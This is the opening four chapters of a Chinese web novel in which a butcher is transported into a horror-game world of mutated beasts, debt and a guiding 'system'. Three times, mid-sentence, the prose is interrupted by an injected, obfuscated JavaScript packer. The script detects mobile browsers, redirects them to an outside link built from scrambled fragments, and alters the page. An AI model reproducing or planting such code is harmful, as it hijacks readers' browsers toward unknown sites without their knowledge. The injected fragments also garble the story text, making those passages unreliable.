《金字塔》 1. 系统 乐晴是被吵醒的。 温润的声音经过特殊处理后变得生硬，像机器人发出来的声音，又带了点人声的温度。 乐晴睁开眼。 眼前是一片绿茵茵的草地，她就躺在青草地上，头顶是刺眼的阳光。 “滴——宿主苏醒。” 什么宿主？乐晴四处张望，什么也没看见。 “宿主，我是您的系统。” 乐晴仔细找那个声音，发现声音好像是从自己的脑子里发出来的。 疑似杀猪累死前的幻想。 不过她不是在杀猪吗，怎么突然睡着了，还出现在这里？ “我杀猪刀呢？” 乐晴低头，发现自己的手中空空如也。 那可是她吃饭的家伙，用了两年，怎么能说没就没了？ 乐晴从地上爬起来，试图在地上去找那把锃亮的杀猪刀，但地上只有草，连块石头都没有。 “宿主，注意安全！” 脑袋里的声音刚落下，乐晴就看见前面不知道从哪里的树林里窜出来一群野猪，它们嘴里发出“哼哧哼哧”的声音，正朝她这边跑过来。 杀猪刀也没有，再说了，虽然大家平时都叫她杀猪佬，但是她也就是拆杀死了的猪，没杀过活猪啊！ 什么狗系统，让她注意安全就跑了？ “喂，系统，你在不在？” 乐晴尝试用意识叫他。 “系统，哥！统子哥！” “在的，宿主。” 乐晴一边呼叫系统一边跑，并试图在空旷的草地上找到什么能救自己的道具。 前面是什么，刀吗？ 跑近了，乐晴才确认，那是一把生锈了的镰刀。 镰刀能杀死野猪？连家猪都杀不死。再说了，那野猪群里有二十多头，她怎么杀？ 可是野猪群离她越来越近了。 “统子哥，怎么办，出个声啊！” “放手一搏吧。” “杀野生动物犯法的吧？” “……宿主，在我们这里，野猪不是保护动物。” 那她也杀不死这群野猪啊！ 情急之下，乐晴找到一棵还算粗壮的树，抱住就开始往上爬。 或许那群野猪只是路过，她只是恰好挡住路了呢……乐晴安慰自己。 直到—— 野猪群停在她躲藏的那棵树下，开始用牙齿啃噬树干。 “……”没办法了。 惹不起她还躲不起了吗？乐晴攀着树枝，朝旁边的一棵树靠近。 树枝承受着重量，微微下垂，但还不至于被折断，于是乐晴又往外爬了点。 野猪还在坚持不懈地啃噬着树干，牙齿和树干摩擦发出“咔嚓咔嚓”的声音。等一下—— 乐晴注意到了野猪的不对劲。 啃噬树干的并不是它们的牙齿，而是……从嘴里面探出来的三个圆形的腔体。 腔体像收缩起来的海葵，顶端开口是一圈磨损得很严重的牙齿。 牙齿不是平滑的，也不像肉食性动物那样满口尖牙，应该是杂食性动物。 圆形的腔体蠕动着，里面的牙齿坚持不懈地啃噬着树干。与其说是野猪，它们更像是被大型“水熊虫”寄生的生物。 既然这样—— 乐晴也不往旁边跑了，而是攀在树上，更加仔细地去看野猪的身体构造。 她的直觉告诉她，它们的嘴里还有嘴，那其他部位也一定有不对劲的地方，说不定能找到解决问题的关键。 乐晴往下爬了一点。 相比于家猪，野猪的头骨更狭长，面部更突出，长着獠牙，这些都没问题，问题出在—— 它们的眼睛闪烁不停。准确来说，是跳动不停。 红色的眼睛一闪一闪。 那不是眼睛，是跳动的心脏！ 乐晴瞬间后背发凉。 心脏为什么会长在眼框里面？那眼睛呢，它们的眼睛在哪儿？靠什么辨认方向？ 乐晴顺手折下一截细枝，用力往前扔。树枝掉在地上，发出细微的声音，野猪纷纷抬起一只前蹄，像人抬起眼皮一样。 它们的眼睛长在前脚掌？ 眼睛长在脚底，嘴里还有三张嘴，眼眶里长的是心脏。 疯了，全疯了。 要么是这个世界疯了，要么是她疯了。 “咔嚓咔嚓”，它们像被写好程序的机器一样，很快就重新投入到地啃噬树干的工作中，好像不把树折断就不放弃一样。 折断树枝是为了什么？当然是为了把她摔下去。 野猪吃人吗？野猪吃不吃人她不知道，但是在她的认知里，家猪会吃人。 她听杀猪的师傅说过好多次，千万不能把小孩儿或是其他动物的幼崽和家猪放在一个空间内，家猪是会吃掉他们的。 她记得小时候还住在村子里的时候，村子里的很多人都养猪，养到年底了就请村里的杀猪佬过去，一堆人又是绳子又是门板，把家猪捆起来，然后杀猪佬一刀下去，红色的鲜血喷涌而出，过了一年安逸日子的猪嚎叫一会儿就没气了。然后，杀猪佬就和拆拼图一样，三两下把一头整猪拆成七零八落的肉块。 人吃猪，猪也吃人。 不管野猪吃不吃人，她得试一试。 乐晴蹑手蹑脚地从树上滑下去，双腿勾住树干，头朝下，用力挥动镰刀，扎进野猪的眼睛。 红色的鲜血迸射出来，那只野猪发出凄厉的惨叫声，它附近的同伴抬起脚看了它一眼，然后跟无事发生一样，继续“咔嚓咔嚓”啃噬树干。 没过多久，地上的绿草和黄土都被染成鲜红色，它们的脚也被染红，空气中弥漫着浓重的血腥味，让人作呕。 乐晴如法炮制，一刀一只眼睛，直到最后一只野猪流尽鲜血，倒在地上。 等到地面安全之后，乐晴从树上跳下来，尽量避开被血液浸泡的地方。 血液太多，土壤吸满了血液，已经饱和，渗不下去的血液就像一条小河一样，朝地势较低的地方流去。 血流成河。 原本躺着的野猪尸体忽然“嘭嘭嘭”几声消失不见，消失的野猪尸体上方飘着三颗拇指大小，泛着淡蓝色光芒的珠子。 “？”乐晴看着发光的珠子，不明所以。 “统子哥。” 冰冷的机械声作出回应：“我在。” “这是什么？” “命珠。” “命珠是什么？” “杀死一片区域的怪物之后，你就能收获相应数量的命珠。” 怎么问一句才答一句？ 乐晴有些不耐烦：“有什么作用？” “以野猪为例，杀死十只野猪就能得到一颗命珠，五颗命珠可以合成一块砖头。” “砖头又是做什么的？” “砖头是游戏《金字塔》的衍生物。一块砖头可以兑换五十万，五十万可以在市中心买到一平米，可以覆盖贫民一年的开支。” 乐晴抛出一连串问题：“《金字塔》是什么？找谁兑换？我为什么要挣钱？我的身份是什么？” 作为莫名其妙出现在这个世界的人，她甚至对自己一无所知。 “《金字塔》是一款风靡的真人游戏。砖头可找该游戏的主策官兑换。金钱是支撑你活下去的必备条件，并且你现在欠款两亿，一年内还清即可恢复自由——” “等一下，我什么时候欠你两亿了？”乐晴不敢置信地打断系统。 两亿，对她这个拆一头猪挣一百块的人来说，简直是天文数字，对她这个曾经在高级写字楼打卡上班当人机一个月八千的苦逼白领来说，更是天文数字。 她干什么了，为什么欠了两个亿？ “两亿，是进入这个世界的门票。” 乐晴忍不住骂街。 “你没事儿吧？是我自己要来的吗？莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271264|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名其妙把我拉进来这个莫名其妙的地方，还要收我两个亿的门票钱？” 她明明是被强行拽进这个世界的，还强行欠了两个亿？！ 系统没有出声。 乐晴不知道是谁把她拉进来的，但是事情好像没得商量，系统能把她送回去吗？ 乐晴心如死灰：“你能送我回去吗？” “不能。” “那我的身份？”乐晴对自己的身份还抱有一丝希望。 既然有系统傍身，她是不是应该有个什么厉害的身份，自带几十个亿家产的那种？ “你的身份是——”系统忽然卡顿了，发出乱流一样的声音，然后趋于平静，冷漠的机械音再次响起，“你的身份未知，居住地未知，人脉关系未知。” “就是要靠自己探索的意思呗？” “是的。” “……”还是身无分文。 乐晴忽然在想，这系统是人工变声还是人工智能。 不管是哪一种，都弱爆了。 系统突然出声：“我能听到你在想什么。” “……” 乐晴收好得来不易的命珠，在手里抛了抛，还挺轻。 不过——五颗命珠才能合成一块砖头，她还只有三颗，还得继续杀小怪。 一颗砖头五十万，她需要四百块砖头，两千颗命珠，两万头野猪。 想想就累。 还是一年之内。 “对了，统子哥，命珠怎么合成砖头？也是像刚才一样，‘嘭’的一声，它自己就合成了吗？” “不是。命珠合成砖头，需要进入迷雾之镜。” “迷雾之境又是什么地方？” 怎么设定越铺越大？这个系统还问一句答一句。不过话说回来，这个系统真的能相信吗，不会坑她吧？ 算了，现在她对局势一无所知，只能暂时相信自己的直觉和系统的告知，走一步算一步，随机应变吧。 “等到了需要合成的时候，自然会有人带你去的。” “什么人？” “你在这个世界的引路人。”提到引路人，系统忽然开窍了一样，不用乐晴问，他也能自己说下去，“跟随他的引导，你可以平步青云，得到你想要的一切。” 包括两个亿？ “代价是什么？” “没有代价。” 不可能。 世界上没有免费的午餐，带她平步青云，她就一定要付出相应的代价，这才是平等的交易。 更何况，哪里有绝对平等的交易？总之，她不会是能占到便宜的那一个。 既然系统不告诉她，她就自己慢慢探索，总会知道的。 来都来了，先去找个能遮风挡雨的地方。 天快黑了。 乐晴走出草地，看见了一条好像有人走过的路，杂草丛生，但依稀能看出被踩过的痕迹。 乐晴找了个地势高点的土坡，跑上去往下看。 前面是一条往下的路，一直穿进一个破败的聚居区。 其实也算不上什么聚居区，只是密密麻麻挤在一起的像集装箱一样的用木板钉起来的房子，没有窗户，也没有门，有的前面挂着一块破布当门帘，有的门帘已经不见了。 是被废弃的聚居区。 天已经完全黑了下来。 乐晴打算现在这里过一晚再说。 可木板缝里透出来跳动的红光。 又是跳动的心脏么？ 房子里面的东西好像有很多只，或者只有一只，但是有很多只脚，嗅到了外面人的味道，脚踩在腐烂的木板上，发出“笃笃笃”的声音，像是在空旷的停车场里敲响一扇年久失修的木门，让人后背发凉。 里面的东西跳出来了。 乐晴看见了它的真面目，一只红眼睛的兔子，一对眼睛，两只耳朵，四条腿的白兔。 兔子？这个环境里，会出现正常的兔子？ 2. 人 没等乐晴细想，兔子掉了个头，蹦走了。 兔子的尾巴朝她时，她才确信，红色的的确是它的眼睛，它的耳朵和腿也都是正常的，不正常的在另外的地方。因为乐晴看见它的身体只有前半部分，它身体的后半部分只有一架被剥去皮肉的骨架，骨架内部的筋膜像严密的蛛网，固定着它的内脏，内脏随着它的跳动，也在里面晃。 透过骨架，还能看见红色的心脏小小的一颗，就在里面跳动。 兔子应该不会主动攻击她吧？ “统子哥。” “我在。” “兔子怎么换算成命珠？” “三十只兔子可以合成一颗命珠。” 那还是算了。 砍三十只才能换一颗，太麻烦了，而且这里视野所及，只有这一只兔子。 乐晴忽然有一个问题：“如果我只砍死一只兔子，我会得到多少命珠？” “零。” “也就是说，我只有在正好凑到三十只的时候，才能拿到一颗命珠，就算砍了二十九只，也是零？” “是的。” ……黑心资本家。 就好像她以前上班需要打卡的时候，迟到一分钟，整月全勤一分不剩，问题是，全勤的钱是从她的工资里抠出来的两百。 那就放走算了，反正这只兔子应该不会攻击她，吃的话她也不敢 - 乐晴钻进旁边一处还算完整的木板搭起来的房子，借着月光检查了一遍，里面很空，什么都没有。 没有门，没有窗，没有床，房子里顶多也就能局促地躺下两个乐晴，家徒四壁。 不对，是三壁。 因为没有第四壁。 乐晴又跑到旁边拆了一间房子，抱着几块还算坚固的木板回来堵在门口，防止晚上有什么东西进来。 黑灯瞎火的，她来不及去生火，只能在这里将就一晚。 躺在木板上，乐晴忽然问：“统子哥，你能播报天气吗？” “能。今天最低气温二十三度，最高气温三十度，天气晴。” 还能当作天气预报，也不是完全没有用。 “明天呢？” “明天最低气温二十四度，最高气温二十九度，天气晴。” 那就好，至少晚上不会被冻死。 乐晴枕着胳膊，从木板缝里往外看，一片漆黑，没有蝉鸣，没有蛐蛐、蝈蝈的叫声，寂静得可怕，她一点困意都没有。 她明明跟着师傅在杀猪、卖猪肉，怎么突然就到了这个世界呢？ 夏天肉容易臭，也不知道师傅一个人忙不忙得过来。 乐晴微微叹了口气，翻了个身。 “嘭”的一声，乐晴撞上一侧木板墙。 “……”乐晴揉了揉脑袋，更睡不着了。 “统子哥。” “……我在。”系统好像是被叫醒的，回应要更迟钝一些。 “我睡不着。对了，你需要睡觉吗？” “需要。” “系统也需要睡觉啊，那也太不智能了。”乐晴心里默默吐槽，然后提了一个极其不人道的要求，“统子哥，你能帮我守夜吗？我怕晚上怪物进来。” “……好。”系统虽然不耐烦，但还是答应了。 谁让这是他选的人呢？乐晴理直气壮。 “咳咳，统子哥，我都叫你一声哥了，你能不能告诉我，我是怎么来到这个世界的？” 系统沉默了很久，久到乐晴以为他死机了，她也快睡着了，他猝不及防回答：“你是命定之人。” 半梦半醒中被吓醒的乐晴：“……” 废话。 要不是“命定”，要不是她倒霉，怎么可能被选中？ 醒都醒了，乐晴又问：“统子哥，我在原来的世界是消失了吗？还是死了？” “消失了。” “这个消失是说失踪还是跟从来没有存在过一样？” “从未存在过。” “也就是说，我师傅也没有徒弟？” “有，但不是你。” 意思就是，少了她，自然会有另一个“乐晴”填补上她的存在。 如果那个“乐晴”也和她有一模一样的经历的话，乐晴还真有点愧疚。 毕竟她原来的生活太苦了。 没了她，其他人该怎么生活还是怎么生活，世界该怎么运转还是怎么运转。 少了她，一切都不会有任何改变。 可这个世界不也是一样吗，多她一个，也不会有任何改变，为什么要强行把她召唤进来呢？ 虽然受了那么多年的苦，她给自己洗脑“痛苦是淬炼灵魂的工具”，但那毕竟只是她让自己乐观地活着的借口，倒也没必要一直淬炼她。 - 这一夜，或许是怪物们也要休息，又因为有系统帮忙看着，乐晴睡得还不错，最后她是被“叮叮咚咚”的声音吵醒的。 乐晴爬起来，靠在木板壁上，揉了揉眼睛。 外面有人说话的声音，有东西搬动的声音，听着更像是清晨的菜市场。 难道昨天的怪物和系统只是一个梦，她依然是那个快乐的杀猪佬？ 乐晴环顾四周，她还住在昨晚上随便找的一间朽坏的贫民窟里。 乐晴低头，叹了一口气。 砍死第一头野猪的时候，她就清醒地意识到了，她回不去了。 妄想回到原来的生活才是做梦。 乐晴在狭小的空间里伸了个懒腰，然后透过木板缝往外看。 木板的缝隙不算小，勉强伸得出去一根小拇指，但是她旁边的房子昨晚上被她强拆了，所以外面的人离她有点距离。 乐晴竖起耳朵听他们的聊天内容。 他们原先住的地方好像遇上了沙尘暴，是逃难过来的。 乐晴远远地只能看见他们的背影，是人的背影，会说话，行动正常，应该是人没错了。 这个世界总不能只有她一个人吧？ 乐晴搬开堵门的木板，探出半颗脑袋。 住她最近的头发斑白的阿婆听见声音，回头热情地跟她打招呼，乐晴顿时吓得差点魂飞魄散。 乐晴以前就脸盲，师傅老是说她连熟客的脸都记不住。 可在这里脸盲真的不是她的问题。 那些人听到阿婆的声音，纷纷看向乐晴，乐晴只觉得头皮发麻。 她认不出来他们的脸，因为他们压根就没有五官。 准确来说，他们的脸上是模糊的，好像肉色的马赛克涂满了整张脸，看不清眼睛、鼻子、嘴巴在哪里。 他们朝她过来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271265|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “统子哥！是我疯了还是他们是怪物？” 乐晴藏在屋子里的手已经握紧镰刀了。 “数据分析中……经鉴定，这些是——人。” “人？”乐晴有一瞬间迷茫，“人为什么脸都是模糊的？” “因为精神污染。这里是贫民窟，环境很差，精神污染也相对严重。” 精神污染？ 乐晴看人越走越近，还是不敢相信他们和她一样是人。 “你的意思是说，我在贫民窟受到精神污染，所以看不见他们的五官？” “是的。” “他们能看见别人的脸吗？” “也不能，不过他们长期生活在贫民窟，已经习惯了，多靠体型和穿着分辨。” “……” 和系统确认他们真的是人，而不是什么人形怪物之后，乐晴终于放心了一点，看见阿婆他们走近也没有太害怕。 不过看着像被马赛克糊了的脸，乐晴还是有些后背发麻，忍不住再次向系统确认：“统子哥，你确定他们不会对我有任何威胁？” “确定。” 那好吧。 乐晴仔细辨认着他们的衣服。 走在前面的阿婆穿了一件深蓝色的大花短袖，跟在后面的爷爷穿灰色短袖、黑色长裤，腰间系的是一根灰黄色带子，在旁边的阿姨穿白色T恤，白T恤上一朵红色大花…… 乐晴还想继续辨认，阿婆他们已经走到了。 “姑娘，你是新来的？” 乐晴不知道他们说的“新来的”是什么意思，新来这个世界还是新来这片贫民窟？ 不管是哪个，她都是。 乐晴点头：“是的，阿婆，我刚来到这里。” “哎呦，一个小姑娘，不知道吃了多少苦。”阿婆这么说着，招呼大伙儿送些东西过来。 乐晴看着他们不停往自己门前堆东西，有些无所适从。 “阿婆，不用……” 阿婆摆手：“大家都是求个生路，遇到困难了顺手帮个忙的事情。姑娘，你先在这里住着，这里暂时还算安全，缺什么东西了就找阿婆。” 阿婆指着不远处的破木房子：“呐，阿婆就住那里，你有事直接找我就好了。” “谢谢阿婆……” 如果放在以前，她铁定觉得阿婆要害她，或是对她有所图，可是系统告诉她：“送过来的物品都是安全的，这里的人也都是可以信任的”。 “这姑娘，不用客气。”乐晴看不清她的表情，但是阿婆的笑声很和蔼，“姑娘，我姓陈，你叫我陈阿婆就行。那边那个红衣裳的阿婆姓刘，你可不能叫她刘阿婆，她会生气的，叫刘婶儿。” 乐晴顺着看过去，果然看见不远处坐了一个正在择菜的穿红衣服的阿婆。 乐晴感激道：“谢谢陈阿婆。” “好了，那我们就是邻居了，你先休息吧，我也要回去收拾了。” 乐晴刚想问陈阿婆有没有她能帮得上忙的地方，系统说话了。 “请注意，后山有命珠可以收集。” “等等。”乐晴只好停住脚步，问系统，“什么意思？” 昨天系统说的是杀怪物可以合成命珠，现在他说的“收集”是什么意思？ 难道命珠还有其他获取方式？ 3. 贺以辛 跟着系统的指引跑到后山的时候，乐晴看见满地都是碎裂的命珠，没一颗完整的。 “统子哥，这是什么意思？” 难道还有人杀死怪物之后非但不要命珠，还特意毁掉了命珠？这得多不缺钱才干得出来这种事？ 没有毁掉命珠的打算，但乐晴还是好奇：“怎样才能毁掉命珠？” 系统没有直接回答。 “金字塔里的人。” “《金字塔》不是游戏吗？” 系统告诉她，《金字塔》是一款风靡全球的真人游戏，她要找命珠，只是因为命珠可以合成砖头，砖头可以兑换成钱。 这个世界光怪陆离，可她始终是要活下去的。 陈阿婆他们给的物资足够她吃上一个星期了，可是她不能白拿人家的不是？再说了，除了紧急的生活用品，她也需要给自己赎身，让自己的生活好起来，而不是像现在这样，住在一个只能勉强遮风挡雨的贫民窟里。 赎身、生活，什么都要花钱的。 而她一分钱都没有。 “不光指游戏，金字塔也是一个地方。” 系统的声音冰冷：“这个世界分为两个区域，这里是贫民区，还有一个和平区。和平区里有一栋楼，那是管理整个世界的办公楼，名为金字塔。金字塔里的人统治着这个世界，他们有足够的权力和实力，不光可以统治这个世界，毁灭命珠也不在话下。” 乐晴一阵恶寒。 在哪里都摆脱不了阶级分层吗？ 她本来还以为，这是一个原始的世界，不可名状，恐怖，但是所有人都是一无所有，至少起点相对平等，能得到多少全靠本事。 可现在系统告诉她，有些人生来就高人一等，有些人早就有了原始积累。 系统没有管乐晴怎么想，而是提醒她：“收集碎裂的命珠，也可以在一定损耗的情况下合成完整的命珠，兑换比例十比一。” 也就是说，十颗碎裂的命珠可以合成一颗完整的命珠。 “在哪里合成？” “迷雾之镜。” 又是迷雾之境。 她现在对这个迷雾之境很好奇。 一颗砖头是五十万，可以覆盖她在贫民窟一年的开支，合成一颗砖头要五颗命珠，也就是五十只野猪。就她昨天的经历来说，并不难。 难点在哪儿？一定是迷雾之境。 系统还说过什么信息，是她忽略了的？ 精神污染。 系统说贫民区精神污染严重，所以她看见的那些人的脸，全部都是被马赛克涂抹过的。 乐晴问：“如果我一直待在贫民区，会怎样？” 精神错乱吗？ “检测中……”系统忽然开始对乐晴开启检测，杂乱无章的电流声响了很久，系统才告知乐晴，“经检测，你的精神值为79分，偏低，如果长时间被污染，可能会异化为怪物。” “……” 变得和那些野猪一样？ 一个荒谬的猜测闪过，乐晴起了一身鸡皮疙瘩。 她昨天杀死的那些真的是野猪吗，还是被异化的人？ “昨天，我杀死的那些野猪，它们曾经是人吗？”乐晴试探性地问出口。 “我只能检测现在存在的状态，生物过去的状态我不确定。” 系统也不知道。 现在是怪物就是怪物，就只有变成命珠换取金钱的价值，哪怕它们以前是人。 除了系统的解释，她暂时没有其他途径获取信息。她现在不得不想办法离开贫民区，然后再慢慢寻找答案。 “那其他人呢？” 乐晴想知道，看陈阿婆他们的样子，应该是常年在贫民区内迁徙，精神值应该不低，不然早就变成怪物了。 “他们出生在贫民区、成长在贫民区，已经对污染有了一定的抵抗性，精神值平均为97分。” 也就她是个小趴菜。 算了，捡命珠吧。 过去已经不可控，未来要好好掌握。 是砍十只野猪轻松还是捡十颗碎裂的命珠轻松，她还是分得清的。 碎裂的命珠已经没有淡蓝色的光芒，只能从它的碎裂处看见微弱的白光，拿在手里微微发烫，像炒熟的板栗。 “统子哥。” “嗯？” “有没有什么道具，能收纳命珠？” 乐晴想的是，如果能有一个道具尽可能多地收纳命珠，那她就可以攒多一点，然后一起带进迷雾之境，一次性多合成一点砖头。 迷雾之境应该是个危险的地方。 “有的。” 系统忽然停顿了一会儿，发出连续的“滋滋”声。 “请打开面板。” 面板？什么面板？ 如果她不提，系统是不是永远不会主动告知她她有的资源？ “怎么打开？” “滴——已协助打开面板。” 乐晴的眼前凭空出现了一块透明的屏幕，上面是她的身体数据。 【智力值：80；体力值：93；精神值：79；幸运值：99】 面板上方只有四组数据。 幸运值竟然有99分？ 乐晴觉得受宠若惊。 她倒霉了小半辈子，不说犯小人、总是差一点得到想要的，走在路上被楼上扔下来的花盆砸中她也是遇到过的。 在这个世界，她的幸运值竟然有99分？ 乐晴不敢置信：“满分一百？” “是的。” 面板上方是她的身体数据，下方的十列、十排，一共一百个空格，就是她存放物品的区域。 “请确认，是否需要将命珠全部存入？” “确认。” 带在身上多不方便。 乐晴看见命珠从她眼前消失，瞬间就填满了十个格子。 好了，继续捡碎裂的命珠吧。 细碎的命珠碎片飘在空中，好像稍不注意就会吸入体内一样，乐晴屏息，小心地捏住碎片，然后握在手心。 系统也在同步帮她把命珠碎片放进面板。 命珠碎片不管有多少，都只占一个物品格子。 “捡，捡，捡垃圾，悄悄捡走别人拉下的垃圾，大家、大家不要告诉他……”手里忙个不停，乐晴没忍住唱了起来。 她想，以后可不可以开一个废品回收站？ 她回收碎裂的命珠，去迷雾之境合成完整的命珠，她抽一成作为卖命钱，没毛病吧？ 如果她每次带一百颗命珠出来，一成卖命钱就有十颗，换一颗砖头，一百万。 这不比自己打工来得容易？ 当了一段时间杀猪佬，她深深知道什么才是致富之道。 不过万一那迷雾之境很危险呢？ 那就多收点卖命钱。 高风险意味着高回报。 这么想着，乐晴心情好了不少。 这个贫民区的怪物好像并不多，昨天能遇到那些眼睛长在脚底下的野猪也算她运气好，智商不高，攻击力一般，还聚集了一大群。 不过客户呢？ 除了陈阿婆他们，乐晴好像没看到其他人，陈阿婆也不像是有能力杀怪物的人。 那他们的生活用品从哪里来？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271266|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 找和平区的人购买吗？他们的钱又从哪里来？只能是收集命珠。 他们要还两个亿吗？他们都是这里的原住民，应该不需要入场券。 这个世界很大吗，是不是还有和她一样是从其他世界过来的人？ 这么想着，乐晴又皱起了眉。 乐晴直接问系统：“贫民区的人多吗？我有同类吗？” “与和平区的人八二开——” 系统好像突然故障了，发出杂乱无章的电流声，“滋滋哔哔”响个不停，让乐晴脑子里一团乱麻。 “统子哥，你还好吗？” 系统没有回答，只是杂乱的电流声更大了，像在排斥什么信号，发出急促的“滴—滴—滴—”的声音。 乐晴还没弄清楚情况，系统又发出连续不断的警报声，先是好几道连续起伏的警报低鸣，混杂着急促的“滴—滴—滴—”的声音，让人头皮发麻。 好像到了世界末日，大厦倾倒，天崩地裂。 乐晴想到一个不恰当的比喻：世界在给她哭丧。 让人心悸的声音不停响着，可系统没有实体，乐晴又没办法让他停下来。 可能是在给系统哭丧吧。 乐晴烦躁地挠了挠后颈。 一道白光骤然从她眼前闪过，有什么东西直直冲她过来了。 乐晴抬头，看见前方对准她的黑色铁链。 黑色铁链反射出冰冷的光，就像是有自己的生命一样，乐晴连铁链的主人都没看见，面前还没来得及捡起来的碎裂命珠就被击得粉碎，掉在土里抠都抠不出来。 乐晴也来不及管什么命珠了，先保住自己的命比较重要。 乐晴举起手里的镰刀，迎上冲她脸上挥来的铁链。 清脆的撞击声响起，二者短暂相撞之后，镰刀被铁链缠上。 乐晴转动手腕，将铁链绕在镰刀刀刃上，铁链像是有自己的生命一样，像一条冰冷的蛇，在她的眼皮子底下溜走。 它没再继续攻击乐晴，而是后退着，缓慢缠上它主人的手臂。 那是一个很高大的男人。 他身形修长，看上去身手很好，肤色透着苍白，和他健硕的体型对比明显。 一阵微风吹过，几缕碎发扫过他的眉骨。 一片死寂中，铁链忽然碰撞出“铛铛铛”的声音，像催命的音符。 他迈着沉稳而又透着压迫感的步伐过朝乐晴靠近。 “统子哥，他是谁？”乐晴不知道对方的底细，眼看着无路可退，只能找系统。 希望系统恢复正常了。 “你的引路人。” “引路人？你没开玩笑吧？”乐晴急得恨不得马上把系统变出一个实体来，然后冲他脸上来上两拳，“引我在这个世界平步青云还是引我在地狱平步青云，你给我说清楚！” 系统没有回应他。 可能还没完全恢复。 长成这个样子，还让系统失灵，不会真是地狱的引路人吧？ 乐晴看着他抿成一条线的嘴唇，咽了咽口水，转头想跑。 然后非常不幸地被提住了衣领。 不是体力值93吗，怎么被人随手就提溜起来了？ 乐晴挣扎着，在不知道对方底细的情况下，她不敢真的动手。 再说了，万一不小心杀死引路人，麻烦就大了。 相当于杀了正在给自己办入职的hr。 相比于担心杀死这个什么引路人，她更担心自己打不过对方，被对方杀死。 冷冽的声音在她背后响起：“你好，我是安全部特别行动队总队队长，贺以辛。” 4. 金字塔 “你好，贺队。”乐晴十分狗腿地改了称呼，回头看贺以辛，抬手指着还被捏着的衣领，“麻烦贺队高抬贵手，把我放下来。” 贺以辛垂眸看了一眼乐晴还沾着命珠粉末的手，默默松开。 乐晴的双脚着地后，终于松了一口气。 看来这个“冥界”引路人还听得懂人话。 “贺队，你好，我叫乐晴。” 贺以辛沉默了一下，然后点头：“准备跟我走吧。” 乐晴一愣：“去哪儿？” 引路人这么直接？还是他也有什么任务系统？ “金字塔。” 果然是那个地方。 “等一下。”乐晴还想回去一趟，把陈阿婆他们给的物资还回去也好，找点什么能用的物资送我陈阿婆他们也好，总不能白拿人家的东西，还浪费了。 “还有什么事？”贺以辛有些不耐烦。 “我回去把东西还给陈阿婆他们。” “不用，我派人去帮你，你跟我走就行。” “你怎么知道我住在哪儿？” 贺以辛垂眼瞥她：“因为我是安全部特别行动队的队长。只要我想知道，我可以追踪每个人的行动轨迹。” 只要你想知道……好厉害呦。 乐晴忍不住在心里骂他。 虽然他话说得很欠打，但乐晴不得不承认，他说的没错。 不管是哪个世界，权力中心的人可以知道他们想知道的一切。 安全部，听名字估计是保护整个国家的安全的部门。 可国家的统治范畴包括贫民区吗？他们有统治贫民区的打算吗？如果有的话，为什么平民区的精神污染会那么严重？ 就好像某个时代的奴隶是奴隶，一切公民都有权利，但奴隶不是公民。 “那好吧。” 乐晴十分狗腿地跟在贺以辛后面，往金字塔的方向走。 这算什么，认识了特警队的老大，然后被收编？ 还好系统提前告知她，这是她的引路人，不然她才不会放心跟着走。 她最多以为这是个人贩子。 对了，也不知道系统好了没有。 “统子哥？” “我在。” “你还好吗？” “我很好，障碍已修复。” 修复了就好。 “统子哥，你确定他不会害我吗？” “确定，贺以辛将以你的利益为先，请放心跟随。” 离谱。 难道这就是传说中的金手指？ 有一个系统做新手指南，还有一个全程帮自己的npc。 就是任务有点难做。 两个亿。 贺以辛有没有两个亿？ 杀了他，能得到两个亿吗？ 她到底能不能离开这个世界？贺以辛看上去像是这个世界的核心人物，如果杀了他，这个世界会崩塌吗？如果世界崩塌，她的任务会宣告失败吗？她会死吗？还是说，可以回到原来的世界，或者去往另一个世界？ “在想什么？”贺以辛突然开口，把乐晴吓了一跳。 难道他和系统一样能听到她的心声？他听到她有贼心？ 乐晴悄悄咽了咽口水，试探性开口：“在想，你为什么要带我回金字塔？” “因为你的反应力和武力值都还不错，金字塔需要人。” “……”敢情是把她抓去做苦力啊。 “工资怎么算？” 乐晴是一个很现实的人。 谈感情没有，谈工作必谈钱。 有钱不赚王八蛋。吃不饱穿不暖了，谁跟他唠情怀？ “一个月保底十颗命珠，任务途中得到的命珠你可以自己拿着。” “全部？” “全部。” 乐晴盘算着。 一个月就算什么不干也能拿一百万，一年最少一千二百万……十六年才能还清。 不吃不喝风餐露宿也不够。 乐晴开始追加条件：“包吃包住吗？” “包。” “还有其他福利吗？” 贺以辛忽然停下来，和乐晴对上视线。 乐晴有些心虚地微微低头。 是不是她太急功近利了？ 毕竟按照物价来说，五十万可以在市中心买到一平米。换算成她在现实中的物价，月工资保底十万，是她从前想都不敢想的。 